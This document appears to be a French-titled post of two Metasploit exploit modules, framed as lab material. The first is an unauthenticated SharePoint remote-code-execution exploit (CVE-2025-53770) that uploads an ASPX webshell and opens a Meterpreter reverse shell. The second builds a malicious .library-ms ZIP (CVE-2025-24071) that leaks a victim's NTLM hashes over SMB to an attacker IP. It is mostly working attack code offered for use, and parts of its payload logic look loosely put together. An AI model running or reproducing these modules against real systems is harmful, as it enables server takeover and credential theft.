🛡️ Metasploit Maestro v1 - Découverte et Exploitation de Failles en Lab

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking
  include Msf::Exploit::Remote::HttpClient
  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Microsoft SharePoint RCE via Unsafe Deserialization (CVE-2025-53770)',
        'Description' => %q{
          This module exploits CVE-2025-53770, an unauthenticated RCE in SharePoint Server via unsafe deserialization in ToolPane.aspx.
          It bypasses auth with crafted Referer and uploads a malicious .aspx webshell for Meterpreter reverse shell.
        },
        'License' => MSF_LICENSE,
        'Author' => ['Platon-Y '], # Custom pour notre vibe
        'References' => [
          ['CVE', '2025-53770'],
          ['URL', 'https://www.microsoft.com/en-us/msrc/blog/2025/07/customer-guidance-for-sharepoint-vulnerability-cve-2025-53770']
        ],
        'Platform' => 'win',
        'Arch' => [ARCH_X64],
        'Targets' => [['SharePoint Server 2016/2019/Subscription', {}]],
        'DefaultTarget' => 0,
        'Privileged' => true,
        'DisclosureDate' => '2025-07-20'
      )
    )
    register_options([
      Opt::RPORT(80),
      OptString.new('TARGETURI', [true, 'Base path', '/']),
      OptString.new('PAYLOAD', [false, 'Payload to execute', 'windows/meterpreter/reverse_tcp'])
    ])
  end
  def check
    res = send_request_cgi('uri' => normalize_uri(target_uri.path, '/_layouts/15/ToolPane.aspx'), 'method' => 'GET')
    return Exploit::CheckCode::Detected if res && res.code == 200 && res.body.include?('ToolPane')
    Exploit::CheckCode::Safe
  end
  def exploit
    print_status("Sending auth bypass and malicious payload...")
    payload_aspx = Rex::Text.rand_text_alpha(8) + ".aspx"
    # Générer un webshell ASPX proper (exemple avec payload encoded)
    webshell = Msf::Util::EXE.to_aspx(generate_payload_exe) # Ou craft un serialized payload pour deserialization RCE
    post_data = {
      'MSOTlPn_Uri' => "#{datastore['TARGETURI']}",
      'MSOTlPn_DWP' => webshell # Malicious deserialization payload
    }
    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, '/_layouts/15/ToolPane.aspx?DisplayMode=Edit&a=/ToolPane.aspx'),
      'vars_post' => post_data,
      'headers' => {
        'Referer' => normalize_uri(target_uri.path, '/_layouts/SignOut.aspx'), # Auth bypass
        'Content-Type' => 'application/x-www-form-urlencoded'
      }
    })
    if res && res.code == 200
      print_good("Webshell uploaded: #{payload_aspx}")
      # Handler pour reverse shell
      handler
    else
      print_error("Exploit failed!")
    end
  end
  def handler
    # Standard Metasploit handler pour payload
    super
  end
end

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'rex/zip'
class MetasploitModule < Msf::Exploit::FILEFORMAT
  Rank = NormalRanking
  include Msf::Exploit::FILEFORMAT
  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Windows 11 NTLM Hash Leak via Malicious .library-ms (CVE-2025-24071)',
        'Description' => %q{
          This module generates a malicious .library-ms file in a ZIP. When extracted and opened in Explorer on Win11,
          it triggers SMB auth to attacker, leaking NTLM hashes. Use with auxiliary/server/capture/smb for relay.
        },
        'License' => MSF_LICENSE,
        'Author' => ['Platon-Y '],
        'References' => [
          ['CVE', '2025-24071'],
          ['URL', 'https://nvd.nist.gov/vuln/detail/CVE-2025-24071']
        ],
        'Platform' => 'win',
        'Arch' => [ARCH_X64],
        'Targets' => [['Windows 11', {}]],
        'DefaultTarget' => 0
      )
    )
    register_options([
      OptString.new('FILENAME', [true, 'Output file', 'exploit.zip']),
      OptString.new('ATTACKER_IP', [true, 'Your IP for SMB relay', '192.168.56.101'])
    ])
  end
  def exploit
    library_content = Rex::Text.rand_text_alpha(8) + ".library-ms"
    malicious_xml = "\\\\#{datastore['ATTACKER_IP']}\\shared\\icon.ico" # Triggers SMB to attacker
    zip = Rex::Zip::Archive.new
    zip.add_file(library_content, malicious_xml)
    file_create(zip.pack)
    print_good("Generated #{datastore['FILENAME']} – Host it, let victim extract/open, capture hashes with auxiliary/server/capture/smb")
  end
end